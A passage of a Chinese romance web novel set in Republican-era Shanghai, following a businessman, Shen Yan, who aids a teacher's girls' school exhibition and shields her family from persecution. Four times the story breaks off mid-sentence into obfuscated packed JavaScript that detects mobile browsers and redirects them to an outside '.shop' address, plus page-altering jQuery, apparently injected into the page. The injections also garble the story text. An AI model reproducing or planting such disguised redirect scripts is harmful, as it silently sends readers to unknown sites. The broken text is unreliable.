他走了，脚步声在走廊里渐行渐远。何思玥站在原地，许久未动。掌心的胸针已经被焐热了，宝石在灯光下闪着温柔的光。 她走到展厅中央，看着四周那些画。画上的码头、街巷、女工、紫藤……都在静默中诉说着什么。 忽然，她在一幅画的角落里，看见了一行极小的字——是沈希希的笔迹：“致何老师：谢谢你让我看见光。” 字很小，小得几乎看不见。但何思玥看见了。 而有些人，有些事，已经在春风里，悄悄开出了花。 晚上，聚会设在黄浦江边的西餐厅，玻璃窗外是璀璨的江景，船灯在漆黑的水面上拖出长长的光痕。 沈晏的几个留洋归来的朋友都在，威士忌在杯中晃荡着琥珀色的光。 “沈晏，听说你最近在女子私塾投了不少钱？”说话的是赵家二公子，在汇丰银行做事，梳着油亮的背头，“怎么，看上那位何老师了？” 众人都笑起来。 沈晏靠在椅背上，手指无意识地在杯沿上摩挲。水晶吊灯的光落在他镜片上，反射出细碎的光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978436|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。 “投资教育而已。”他答得平淡，端起酒杯抿了一口。 “得了吧。”另一个朋友揶揄道，“谁不知道你沈大少爷，做什么都要算回报率。女子私塾这种赔本买卖，若不是另有所图，你会这么上心？” 餐厅里飘着爵士乐，萨克斯风的声音慵懒缠绵。 沈晏透过镜片看着窗外，江面上的光点明明灭灭，像散落的星子。 “你们知道沙漠吗？”他忽然开口，声音不高，却让桌上的说笑声停了下来。 “我在英国时，读过一本探险日记。”沈晏转动着酒杯，琥珀色的液体在灯光下泛起涟漪，“作者说，他在撒哈拉走了三天三夜，水喝光了，嘴唇干裂，眼前只有望不到头的黄沙。就在他快要放弃时，忽然看见远处有一抹绿——不是幻觉，是真的绿洲。” 朋友们都看着他，等他说下去。 “他说，那一刻的感觉，就像……”沈晏顿了顿，像是在寻找合适的词，“就像在黑暗里走了太久，忽然看见光。不，比光更珍贵。因为光是虚幻的，而绿洲是真实的——有树，有水，有生命。” 他抬起眼，目光扫过众人：“这些年在商场上，我见惯了算计、利益、得失。有时候觉得，自己就像走在沙漠里，满目黄沙，风尘蔽日。每个人都在为利益奔波，每个人眼里都只有金钱的倒影。” 威士忌的香气在空气里弥漫。窗外的汽笛声长长短短，像某种隐秘的呼应。 “然后呢？”赵公子问。 “然后，”沈晏的嘴角浮起一丝极淡的笑意，“我看见了何思玥。” 他说得很慢，每一个字都像经过深思熟虑：“她在私塾教那些女孩画画，带她们去码头写生，为了办画展整夜不睡。她做这些，不为名，不为利，甚至不在乎别人怎么说。就像沙漠里的那抹绿——不管周围有多少黄沙，她就在那里，安静地生长，安静地给路过的人一点荫凉，一点希望。” 桌上安静了片刻。 有人轻轻吹了声口哨。 “所以，”赵公子笑着说，“何老师是你的绿洲？” 沈晏没有直接回答。他摘下眼镜，用绒布慢慢擦拭镜片——这是他想问题时习惯性的动作。 “你们知道绿洲最珍贵的是什么吗？”他重新戴上眼镜，镜片后的眼睛在灯光下显得格外清明，“不是水，不是树，是它证明了一件事——在看似荒芜的世界里，依然有生命在坚持，有美好在生长。” 他端起酒杯，对着灯光看了看：“而我，想守护这样的生长。想让那片绿洲，变得更大一些，更茂盛一些。想让更多在沙漠里行走的人知道，前方还有希望。” 这话说得太认真，以至于朋友们一时不知该如何接话。爵士乐换了曲子，是《月光小夜曲》，钢琴声如流水般倾泻。 “沈晏，”一个一直沉默的朋友开口，他是学哲学的，“你这说的，可不像是投资了。” 沈晏笑了。 那笑容里有商人的精明，但更多的是某种近乎虔诚的东西。 “是啊，这不是投资。”他承认，“至少，不是能用算盘算清楚的那种投资。” 他看向窗外，江面上有一艘邮轮缓缓驶过，灯火通明，像一座移动的宫殿。 船上的欢笑声隐约传来，隔着玻璃，遥远得像另一个世界。 “如果一定要算，”他低声说，像在自言自语，“那这笔账，得用一生的时间来算。” 朋友们都怔住了。 12. 第 12 章 他们认识沈晏多年，从没见过他这样——这个在商场上永远冷静、永远精于算计的男人，此刻眼中闪着一种近乎天真的光。 “你……”赵公子张了张嘴，最终只是拍了拍他的肩，“行啊你，沈晏。我还以为你这辈子，就只跟算盘过了呢。” 众人都笑起来，气氛重新轻松起来。 但沈晏知道，有些话一旦说出口，就再也收不回来了。 就像沙漠里的旅人，一旦看见了绿洲，就再也无法忍受没有希望的跋涉。 聚会散场时，已是深夜。 沈晏站在餐厅门口等车，夜风吹来黄浦江的水汽，混着远处码头的铁锈味。 “沈晏，”赵公子最后出来，递给他一支雪茄，“说真的，那位何老师，知道你把她比作绿洲吗？” 沈晏接过雪茄，却没有点燃，只是拿在手里把玩。 “她不需要知道。”他望着远处私塾的方向——那里已经熄了灯，只有门口两盏灯笼在风里轻轻摇晃，“绿洲从来不是为了被看见而存在。它就在那里，生长，给养，这就够了。” 车来了。 沈晏坐进车里，摇下车窗，最后看了一眼江对岸的灯火。 司机问：“少爷，回家吗？” “去私塾。”沈晏说，“绕路过去看看。” 车子驶过夜深人静的街道。 沈晏靠在椅背上，闭上眼睛。眼前却浮现出何思玥别着紫藤胸针的样子——月白色的旗袍，淡紫色的花朵，在灯光下温柔地绽放。 他想起母亲那本诗集里，夹着一片已经干枯的枫叶。枫叶旁有一行小字：“见美好而心动，乃人之常情。若能护此美好，乃人之大幸。” 当时他不明白。现在，他想他懂了。 车子在私塾附近的街角停下。 沈晏没有下车，只是透过车窗，看着那两盏在夜色中孤独亮着的灯笼。灯笼的光晕在风里摇曳，像两只温柔的眼睛，守望着沉睡的庭院。 他想，明天画展，她一定会很累。 他想，也许该让厨房准备些润喉的梨汤。 他想，那些女孩们的画，会在多少人心里种下种子？ 这些念头纷至沓来，没有算计，没有权衡，只有单纯的、想要做点什么的冲动。 司机从后视镜里看了一眼，小心地问：“少爷，要回去吗？” “再等等。”沈晏说。 他就这样坐在车里，看着那两盏灯笼，看了很久很久。直到东方泛白，第一缕晨光划破夜色，才轻声说：“走吧。” 车子发动，缓缓驶离。晨曦中，私塾的轮廓渐渐清晰。 沈晏回头，看见第一缕阳光正落在庭院的紫藤架上——那些枝叶在晨光里舒展开来，仿佛在准备迎接一个崭新的、开满鲜花的日子。 而他知道，那个站在紫藤架下的女子，也会在晨光里，开始她崭新的一天。 这念头让他嘴角扬起笑意。他摇上车窗，对司机说：“去沈家药铺，取些上好的胖大海和冰糖。” “少爷要这个做什么？” “煮梨汤。”沈晏说得理所当然，“今天有人要用嗓子。” 司机从后视镜里看了他一眼，没再问。但嘴角，也浮起了一丝了然的笑意。 晨光越来越亮，洒在车窗上，温暖得像某个人的目光。 沈晏靠在座椅上，闭上眼睛。 眼前不再是沙漠，而是大片大片的绿意，在春风里，无边无际地蔓延开去。 画展开幕这日，私塾庭院里早早就热闹起来。 何思玥穿了身藕荷色织锦旗袍——料子是沈晏前日差人送来的，说是苏州老字号的手艺，颜色淡雅却不失庄重。 那枚紫藤胸针别在领口，碎宝石在晨光里闪着细碎的光。 她正在展厅最后检查，忽然听见身后传来熟悉的声音：“何老师。” 转身，沈晏站在晨光里，手里提着个精巧的竹编食盒。 他今日穿了身深灰色西装，打了条暗紫色领带——和胸针的颜色微妙地呼应着。 “沈公子怎么来的这么早？” “怕你忙起来忘了吃饭。”沈晏将食盒放在桌上，打开盖子，里面是温热的梨汤，盛在白瓷盅里，还冒着热气，“加了胖大海和冰糖，润喉的。” 何思玥怔了怔。 晨光透过窗棂洒在食盒上，瓷盅边缘泛着温润的光泽。她抬头看向沈晏——他眼下有淡淡的青影，显然是起早熬的汤。 “你……” “家里厨子早上炖了一些，我顺便给你带了一些。”沈晏推了推眼镜，目光转向墙上的画作，“布置得不错。” 这时沈希希跑进来，看见桌上的梨汤，眼睛一亮：“哥，你偏心！我早上要喝你都不给！” “你嗓子又不用讲话。”沈晏淡淡地说，却从食盒下层又取出一小盅，“你的在这儿。” 沈希希接过，吐了吐舌头，凑到何思玥耳边小声道：“何老师，我哥从没给谁熬过汤呢。连我都只喝过一两次。” 何思玥耳根微热，低头舀起一勺梨汤，清甜温润，带着淡淡的药香，顺着喉咙滑下去，确实舒服许多。 “谢谢。”她轻声说。 沈晏只是颔首，转身去看画了。 但何思玥注意到，他走过周晓芸那幅纺织女工读书图时，脚步停了很久。 上午九时，宾客陆续到来。 先是教育界的，几位开明的老教授对着画作频频点头。 然后是商界人士——沈晏引荐的几位实业家，看到画作中码头、工厂的场景，都露出感兴趣的神色。 “这些画，很有生活气息。”一位纺织厂老板说，“尤其是这幅女工读书的，让我想起厂里那些夜校的女工。” 何思玥正与他交谈，忽然听见门口传来一阵骚动。 转头看去，几位穿着西式礼服、胸前别着领事馆徽章的外国人走了进来，后面还跟着几位法租界的华裔官员。 陈校长低声对她说：“是沈公子请来的。他说，要让更多人看见这些画。” 何思玥看向沈晏。 他正用法语与一位法国领事交谈，侧脸在晨光里显得格外专注。偶尔回头看她一眼，眼神里有种“交给我”的笃定。 沈希希趁机拉着何思玥的胳膊：“何老师，你看我哥，是不是很厉害？法语说得跟法国人似的。” “嗯。”何思玥轻声应道。 “他还会英语、德语呢。”沈希希继续推销，“而且他心可细了，上回我爹咳嗽，他亲自去药铺抓药，守在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978437|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炉子前熬了一夜……” “希希。”沈晏不知何时走过来，轻轻拍了拍妹妹的头，“去帮周晓芸给客人们介绍画作。” 沈希希吐吐舌头，跑了。 “她说什么了？”沈晏问，声音里带着笑意。 “说你……很细心。”何思玥别开脸，看向展厅里越来越多的人。 “是吗。”沈晏站到她身边，两人肩并着肩，看着满厅的人流，“今天来了不少人。” “谢谢你。”何思玥说，“我知道，很多人是看你的面子来的。” “不全是。”沈晏从侍者盘中取过两杯香槟，递给她一杯，“有些人，是真心想看看女子能画出什么样的世界。”他顿了顿，“而且，你的面子，现在也不小了。” 这话说得认真。 沈晏说的也不是夸张，最近何思玥在教育界也是小有名气，引起了不少人的关注。 何思玥接过酒杯，指尖碰到他的，微微一颤。 展厅那头，法国领事正站在沈希希的画前——那幅老槐树新芽，用大片的留白表现生命的萌动。 领事仔细看着，忽然问身旁的翻译：“这幅画的作者在吗？” 沈希希被叫过去，有些紧张。领事用生硬的中文问：“为什么，画这么多空白？” 沈希希深吸一口气，用英语回答：“因为没画出来的部分和画出来的一样重要。就像……就像未来，我们还看不见，但知道它在那里。” 她操着一口流利的英文介绍着，她的英语还带着稚气，但表达得很清晰。领事眼睛一亮，鼓掌道：“很好，也有诗意。” 周围的人都鼓起掌来。沈希希脸红了，回头看向何思玥，眼睛亮晶晶的。 何思玥对她点点头，眼眶忽然有些发热。 “你看，”沈晏轻声说，“她们已经开始发光了。” 画展进行到午时，达到了高潮。 几位法租界的官员当场表示，愿意资助私塾开设法语课；一位实业家提出要购买几幅画，挂在工厂的休息室里，“让工人们看看，女子眼中的他们是什么样子”。 最让何思玥意外的是，周晓芸那幅纺织女工读书图，被一位女教育家看中，说要带回北平，在女子师范的展览上展出。 “周同学，”那位教育家握着周晓芸的手，“你画出了女子教育最重要的东西——希望。” 周晓芸的眼泪在眼眶里打转，她回头寻找何思玥，两人目光相遇时，都看到了彼此眼中的泪光。 午宴设在庭院里。 长桌上摆着精致的茶点，阳光透过槐树的枝叶洒下来，光影斑驳。 何思玥穿梭在宾客间，感谢，交谈，介绍。旗袍的下摆随着她的走动轻轻摇曳，像水波。 沈晏一直不远不近地跟着她。 她需要时，他会适时出现，介绍某位重要人物；她累了，他会递上一杯温水；她讲话时，他会在人群外静静地看着，眼神里有种专注的温柔。 沈希希把这些都看在眼里。她拉着周晓芸，小声说：“你看我哥，眼睛都快长在何老师身上了。” 周晓芸抿嘴笑：“沈先生对老师真好。” “我哥对何老师岂止是好，简直是喜欢的不得了。”沈希希眼睛转了转，忽然有了主意。 13. 第 13 章 午后，宾客渐散。 何思玥送走最后一位客人，终于松了口气。庭院里只剩下私塾的师生，还有沈家兄妹。 “何老师，”沈希希跑过来，“我哥说，晚上沈家设宴，请私塾所有师生吃饭，庆祝画展成功！” 何思玥愣了愣，看向沈晏。 他正与陈校长说话，闻言转过头，对她点点头。 “这太破费了……” “不破费。”沈晏走过来，“家母说，一定要好好谢谢何老师和各位同学。而且，”他顿了顿，声音低了些，“她很想见见你。” 这话让何思玥心跳快了一拍。 沈希希在一旁偷笑，被沈晏瞥了一眼，赶紧拉着周晓芸跑开了。 夕阳西下，庭院里铺满金色的光，槐树的影子拉得很长，像温柔的怀抱。 “今天，”沈晏看着满院的画作，轻声说，“很成功。” “嗯。”何思玥也看着那些画。它们在暮光里静静挂着，像一扇扇打开的窗，窗外是女孩们看见的、并希望更多人看见的世界。 “累吗？”沈晏问。 “有一点。”何思玥实话实说，“但值得。” 沈晏从西装口袋取出一个小盒子：“这个，给你。” 又是礼物。 何思玥接过，打开——里面是一枚印章。青田石的料子，刻着她的名字：“思玥”。字体清秀中带着筋骨。 “这是……” “我刻的。”沈晏说得很平淡，“在英国时学过一点篆刻。想着你的画展，也许需要一枚印章。” 何思玥拿起印章，对着夕阳看。 石质温润，刀工细腻，“思玥”二字在暮光里泛着淡淡的光泽。 “你还会刻章？” “商人嘛，总要会点不务正业的手艺。”沈晏笑了笑，“不然，怎么显得与众不同？” 这话带着他惯有的调侃，但何思玥听出了其中的认真。她将印章握在掌心，石头的温度渐渐与体温融合。 “沈晏，”她抬起头，直视他的眼睛，“你为什么……对我这么好？” 这个问题她问过很多次，但这次，她想听一个不一样的答案。 暮色渐浓，庭院里的灯笼一盏盏亮起来。灯光与暮光交织，在两人之间铺开一片温柔的光晕。 沈晏沉默了很久。久到何思玥以为他不会回答时，他才开口，声音很轻，却字字清晰： “因为在我行走的沙漠里，你是唯一的绿洲。” 他说着，从怀里取出一片干枯的枫叶——正是他母亲诗集里夹着的那片。 “我母亲以前常说，见美好而心动，乃人之常情。若能护此美好，乃人之大幸。”他将枫叶放在她掌心，盖住那枚印章，“何思玥，我想护你这份美好。想让更多人看见，在这看似荒芜的世道里，还有人在坚持做对的事，还有人在相信光。” 暮风拂过庭院，槐树的叶子沙沙作响。远处传来卖花姑娘最后一声吆喝：“栀子花——最后几朵嘞——” 何思玥握着印章和枫叶，感觉掌心里的温度，一直蔓延到心里。 她看着沈晏。 这个总是精于算计的商人，此刻眼中没有任何算计，只有一片坦荡的、温柔的真诚。 “沈晏，”她轻声说，“谢谢你。” “不用谢。”他笑了，“这是我做过最值得的一笔‘投资’。” 两人相视而笑。暮色四合，灯笼的光越来越亮，将他们的影子拉长，交融在一起，分不清彼此。 而在庭院那头，沈希希拉着周晓芸，偷偷从槐树后探出头来。看见这一幕，两人相视一笑，又悄悄缩了回去。 暮色已深，何家的书房里却灯火通明。 何荣笙坐在书桌后，面前的账簿摊开着，但他一个字也看不进去。 桌上的烟灰缸里已经堆满了烟蒂，空气中弥漫着焦灼的气息。 “爹，”何思玥推门进来，脸上还带着画展成功的喜悦，“您找我？” 何荣笙抬起头，看着女儿——她今日穿着藕荷色旗袍，领口的紫藤胸针在灯光下闪着温柔的光。 这让她看起来像一株刚刚绽放的花，全然不知风雨将至。 “思玥，坐。”他指了指对面的椅子，声音里透着疲惫。 何思玥察觉到父亲神色不对，依言坐下：“出什么事了？” 何荣笙沉默片刻，从抽屉里取出一封信，推到女儿面前：“今天下午收到的。” 信纸是官府的专用笺，盖着红印。内容不长，但字字如刀：有人举报何家“私通外商、囤积居奇”，要求彻查家产，以备“充作军饷，共济时艰”。 何思玥的手微微发抖。她抬眼看向父亲：“这是诬陷！我们家什么时候……” “我知道。”何荣笙打断她，揉了揉眉心，“但思玥，这世道，真假不重要，重要的是有人想动我们。” “谁？” “还能有谁？”何荣笙苦笑，“你今天画展太成功，打了不少人的脸。那些老学究，那些守旧派，他们动不了私塾，就动我们何家。” 他站起身，走到窗前。 窗外是何家的庭院，夜色里，几株玉兰树静静立着，像忠诚的卫士。 “我已经让人去法租界看房子了。”何荣笙背对着女儿说，“最迟下个月，把一部分财产和重要的东西转移过去。那边……相对安全些。” “爹！”何思玥站起来，“这是我们的家！祖祖辈辈都在这里，怎么能……” “正因为是祖辈基业，才要守住，断不能把何家的基业都毁在我的手中。”何荣笙转过身，眼神里有种何思玥从未见过的沉重，“思玥，爹不是怕事的人。但这一次，对方来势汹汹。我们得先求存，再图反击。” 书房里一时寂静。远处传来更夫打梆子的声音，在深夜里显得格外清晰。 何思玥看着父亲鬓角新添的白发，心忽然揪紧了。她想起小时候，父亲总爱把她扛在肩头，在庭院里转圈。那时她觉得，父亲的肩膀能扛起整个世界。 可现在，这个世界要压垮他的肩膀了。 而这一切，很可能是因为她——因为她要办女子私塾，因为她要带学生看外面的世界，因为她不肯向旧规矩低头。 “对不起，爹。”她的声音有些哽咽，“如果不是我……” “说什么傻话。”何荣笙走回来，轻轻拍了拍女儿的肩，“你做得对。爹只是……只是没料到他们会这么狠，也没有想到她们动作这么快。” 他顿了顿，看着女儿的眼睛：“思玥，爹问你一件事，你要老实回答。” “您说。” “沈晏，”何荣笙一字一句地问，“他对你，是认真的吗？” 这个问题来得突然。 何思玥怔了怔，脸颊微微发热：“爹，现在不是说这个的时候……” “不，正是时候。”何荣笙神情严肃，“如果沈家能出面，这件事或许还有转圜的余地。沈老爷子在政商两界都有面子，沈晏又和法租界的人熟……” “不行！”何思玥打断父亲，“这是我们何家的事，不能把沈家拖进来。而且……”她咬了咬唇，“我不能利用沈晏对我的……感情。” 最后两个字说得很轻，却让何荣笙眼睛一亮。 “所以，”他声音柔和下来，“他对你，确实有感情。” 何思玥别过脸，没有否认。 掌心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978438|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那枚青田石印章还微微发烫——是沈晏今天才送给她的，刻着她的名字，是他亲手刻的。 “思玥，”何荣笙叹了口气，“爹不是要你利用谁。只是这世道艰难，有时候……需要相互扶持。沈晏若真心待你，他不会坐视不理。而他若出手，何家或许能逃过这一劫。” 窗外忽然传来汽车引擎的声音。 父女俩同时看向窗外——一辆黑色轿车正停在何家门口，车灯在夜色里划出两道明亮的光柱。 车门打开，沈晏从车上下来。他没穿外套，只穿了件白衬衫，袖子挽到手肘，露出结实的小臂。夜色里，他的身影挺拔如松。 “这么晚了，他怎么来了？”何荣笙皱眉。 何思玥的心却莫名地安定了些。她看着沈晏大步走进院门，看着管家迎上去，看着他对管家说了什么，然后径直朝书房走来。 敲门声响起。 “进来。”何荣笙说。 沈晏推门进来。他脸上带着惯有的从容，但何思玥注意到，他额角有细密的汗珠——是匆匆赶来的痕迹。 “伯父，何老师。”他微微欠身，“抱歉这么晚打扰。” “沈公子有事？”何荣笙问。 沈晏直起身，目光在何思玥脸上停留片刻，才转向何荣笙：“我听说了一些事，想和伯父确认一下。”他从衬衫口袋取出一张纸条，“这是我在商会听到的消息，有人要对何家不利。” 纸条上列着几个名字——正是那几个老学究，还有他们在政界的靠山。 何荣笙接过纸条，脸色沉了沉：“沈公子的消息很灵通。” “生意人，总要多长几只耳朵。”沈晏说得平淡，但何思玥听出了其中的关切，“伯父打算怎么办？” 何荣笙看了女儿一眼，才说：“打算把部分财产转移到法租界。” “明智。”沈晏点头，“但还不够。”他顿了顿，“那些人要的不只是钱，是要杀鸡儆猴。何家若退了，私塾就保不住了，女子教育这条路，就更难走了。” 这话说中了要害。书房里的空气凝重起来。 “沈公子有何高见？”何荣笙问。 沈晏推了推眼镜——这个动作让他看起来又像个精明的商人了：“高见谈不上，但有几个建议。第一，何家在上海的几处产业，可以暂时转到沈氏商行名下——名义上是我收购了，实际上还是何家的。这样既能保全资产，又能堵住那些人的嘴。” 何荣笙愣住了：“这……这怎么行？沈家也会被牵连……” “沈家根基深，他们动不了。”沈晏语气笃定，“第二，私塾那边，我已经和法租界教育局谈好了，下个月起正式备案，受租界保护。那些老学究的手，伸不进租界。” 他说着，看向何思玥：“只是这样一来，何老师可能要多跑些路——私塾在城东，租界在城西。不过，”他嘴角浮起一丝笑意，“我可以提供交通工具。” 何思玥看着他。灯光下，他的眼睛里有种她从未见过的坚定——那不是商人的精明算计，而是一种近乎守护的决心。 “沈公子，”何荣笙的声音有些发颤，“你为什么……要这样帮我们？” 这个问题，何思玥也想知道答案。 她看着沈晏，看见他喉结动了动，然后听见他说：“因为何老师在做对的事。而我，想让她能继续做对的事。” 他说得很简单，却让何思玥眼眶一热。 “还有，”沈晏补充道，目光落在何思玥脸上，“因为在我行走的沙漠里，她是唯一的绿洲。而保护绿洲，是每个旅人都会做的事。” 这话他说过，在何家庭院的暮色里。 但此刻再说，却有了不同的分量。 14. 第 14 章 何荣笙看看女儿，又看看沈晏，良久，长长叹了口气：“罢了，罢了。你们年轻人的事，你们自己把握。”他站起身，“沈晏，你说的方案，我们明天详谈。今晚……就让思玥送你出去吧。” 这是明显的托词。 何思玥知道，父亲是想给他们独处的空间。 她起身，和沈晏一起走出书房。 夜色深深，庭院里的灯笼在风里轻轻摇晃。 两人并肩走在青石小径上，脚步声在寂静的夜里格外清晰。 “你怎么知道何家出事了？”何思玥轻声问。 “商会里有人议论。”沈晏说，“而且，今天画展上，那几个法租界的官员私下告诉我，有人去打听过何家的背景。”他顿了顿，“思玥，这件事没那么简单。背后可能还有更大的势力。” 何思玥的心沉了沉：“那我们……” “别怕。”沈晏停下脚步，转身看着她，“有我在，我来想想办法。” 月光透过玉兰树的枝叶洒下来，在他脸上投下斑驳的光影。 何思玥看着他的眼睛，那里面没有算计，没有权衡，只有一片坦荡的真诚。 “沈晏，”她问，“你做这些，真的值得吗？万一被牵连……” “值不值得由我说了算。”他答得毫不犹豫，“而且，这不是‘被牵连’。这是选择——选择站在对的一边，选择守护值得守护的人和事。” 他从口袋里取出一个小小的锦囊：“这个，给你。” 何思玥接过，打开——里面是一把黄铜钥匙，还有一张写着法文地址的纸条。 “这是？” “我在法租界的一处公寓。”沈晏说，“不大，但很安全。如果……如果真的到了那一步，你可以先去那里。” 他说得很平静，但何思玥听出了其中的深意——他在为她准备退路，在他自己的地盘上。 “我不要。”她把钥匙推回去，“我不能总是依赖你，一直接受你的好意。” “不是依赖。”沈晏握住她的手——他的手很暖，掌心有薄茧，是常年打算盘留下的痕迹，“是相互扶持。就像你扶持那些女学生一样，现在，让我扶持你。” 他的手掌包裹着她的手，那把小小的黄铜钥匙夹在两人掌心之间，微微发烫。 何思玥抬头看着他。月光下，他的眉眼温柔，嘴角带着那抹她熟悉的、带着算计却又无比真诚的笑意。 “沈晏，”她轻声说，“你为什么……对我这么好？” 这个问题她问过很多次，但每次，他的答案都让她心动。 “因为，”他低下头，声音轻得像夜风，“在我这个商人算过的所有账里，你，是唯一一笔不需要计算回报的投资。” 他说着，松开手，将钥匙轻轻放在她掌心。 “收好。希望用不上，但……有备无患。” 远处传来夜鸟的鸣叫，在深夜里显得格外清越。何思玥握紧钥匙，感觉那小小的金属物体，在掌心里烙下深深的印记。 “谢谢。”她说。 “不用谢。”沈晏笑了，“这是我自愿的。” 他送她到内院门口，停下脚步：“进去吧，早点休息。明天……还有很多事要做。” 何思玥点点头，转身要走，又回过头：“沈晏。” “嗯？” “沙漠里的绿洲，”她问，“会不会有一天，也变成沙漠？” 沈晏怔了怔，随即笑了。那笑容在月光下，温柔得让人心颤。 “不会。”他说，“因为我会一直浇水。” 说完，他微微颔首，转身走向夜色。白衬衫的身影在月光里渐行渐远，最终消失在门廊的阴影里。 何思玥站在门口，久久未动。掌心的钥匙贴着肌肤，温热的，像一颗跳动的心。 她抬头看向夜空。月亮很圆，洒下银辉，照亮了整个庭院，也照亮了她前行的路。 她知道，这条路会很难，但至少，她不是一个人走。 次日清晨，何家宅院里透着不同寻常的忙碌。 何思玥天未亮就醒了。 她推开窗，看见管家领着几个信得过的老伙计，正小心翼翼地将书房里几箱古籍搬上板车。箱子上盖着油布，遮得严严实实。 “小姐早。”管家抬头看见她，压低声音道，“老爷吩咐，这些东西先送到法租界的银行保险库去。” 何思玥点点头，披上外衣下楼。 餐厅里，何荣笙已经在用早餐，眼下有浓重的青影，显然一夜未眠。 “爹。”她在对面坐下。 何荣笙放下粥碗，从怀里取出一串钥匙：“思玥，这些是家里几个银号的保险箱钥匙。今天你跟我一起去租界，把里面的东西取出来，转到汇丰银行去。” 钥匙沉甸甸的，在晨光里泛着冷光。何思玥握在手里，感觉像握着一份沉重的责任。 “这么急？” “不急不行。”何荣笙喝了口茶，声音沙哑，“昨晚沈晏派人送来消息，说那几个老学究今天要去见军政府的刘参谋长。他们动作快，我们得更快。” 正说着，门外传来汽车喇叭声。何荣笙起身：“沈家的车来了。走吧。” 何思玥跟着父亲出门，看见沈晏站在车旁。他今日换了身深蓝色西装，手里拿着个公文包，神情比平日严肃许多。 “伯父，白老师。”他拉开车门，“我已经跟汇丰银行的经理打过招呼，我们直接去保险库。” 车子驶过清晨的街道。 上海刚刚苏醒，早点摊冒着热气，报童在街角叫卖晨报。这一切看似平常，但何思玥知道，平静的表象下，暗流正在涌动。 沈晏坐在副驾驶座，不时从后视镜看何思玥一眼。有一次目光相触，他朝她微微点头，那眼神里有种“一切有我”的笃定。 车子驶入法租界时，街景明显不同了。 梧桐树整齐排列，西式建筑鳞次栉比，巡捕房的印度巡捕在街角站岗。这里像是另一个世界——井然有序，却也透着疏离。 汇丰银行的大理石台阶前，一位穿西装戴金丝眼镜的经理已经等在门口。 “沈先生，何先生，何小姐。”他恭敬地迎上来，“一切已经安排好了，请随我来。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978439|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 保险库设在地下，厚重的钢门打开时，发出沉重的轰鸣，里面是一排排铁柜，泛着冷冰冰的光泽。 何荣笙按照钥匙编号，打开其中一个保险箱。里面整齐码着地契、房契、还有几件古董首饰。他一件件取出，交给银行经理登记、封存。 何思玥在旁边帮忙清点。当打开最后一个箱子时，她愣住了——里面不是金银财宝，而是一摞摞手稿和书信。最上面是一本装订成册的《女学新论》，扉页上写着祖父的名字。 “这是……” “你祖父留下的。”何荣笙的声音有些哽咽，“他当年支持维新，写了很多提倡女子教育的文章。后来变法失败，这些东西差点被搜去。他冒着风险藏了下来，说‘总有一天，会有人接着写’。” 何思玥轻轻翻动那些发黄的手稿。字迹遒劲，墨色已经淡了，但字里行间那种热切的期望，依然透过纸张传递出来。 “所以您才支持我去英国留学，支持我办私塾？” 何荣笙点点头：“你祖父临终前说，他这辈子最大的遗憾，就是没能看到女子真正站起来。他希望后代里，能有人接着做这件事。”他看向女儿，目光里有骄傲，也有担忧，“思玥，你现在做的，正是他当年想做而没能做到的。” 保险库里很静，只有纸张翻动的沙沙声。何思玥感觉眼眶发热，她小心地将那些手稿包好，交给经理。 “这些，请一定保管好。” “何小姐放心。”经理郑重接过，“汇丰银行的保险库，从未出过差错。” 手续办完已近午时。走出银行时，阳光正好，照在租界干净整洁的街道上。何荣笙长舒一口气，仿佛卸下了千斤重担。 “沈晏，”他对沈晏说，“这次多亏你了。” “伯父客气了。”沈晏看了看怀表，“我已经在红房子定了位置，先去用午饭吧。下午还有几处产业的手续要办。” 红房子西餐厅里，三人坐在靠窗的位置。窗外是租界的主街，电车叮叮当当地驶过，穿着时髦的男女在橱窗前流连。 “接下来，”沈晏展开一张地图，上面用红笔标着几处位置，“何家在闸北的纱厂、在南市的货栈，还有城东的两处宅院，都可以暂时转到沈氏名下。我已经让律师起草了文件，名义上是沈家收购，实际上所有权还是何家的。” 他说得很仔细，每处产业的风险、价值、转移方案都分析得清清楚楚。 